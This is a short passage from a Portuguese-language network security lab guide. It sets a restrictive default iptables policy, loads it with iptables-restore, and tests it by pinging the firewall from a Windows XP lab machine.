Adicione as regras abaixo para deixar a política padrão do firewall o mais
restritiva possível.
*filter
:INPUT DROP
:FORWARD DROP
:OUTPUT ACCEPT
COMMIT

Passo 4 Aplique as regras do arquivo de configuração ao firewall da máquina com o


seguinte comando:
# iptables-restore < /etc/iptables.up.rules

Passo 5 Teste o funcionamento do firewall. Na máquina Windows XP realize o teste de


ping no firewall, com o comando:
c:\> ping 10.1.G.1
Segurança de Redes e Sistema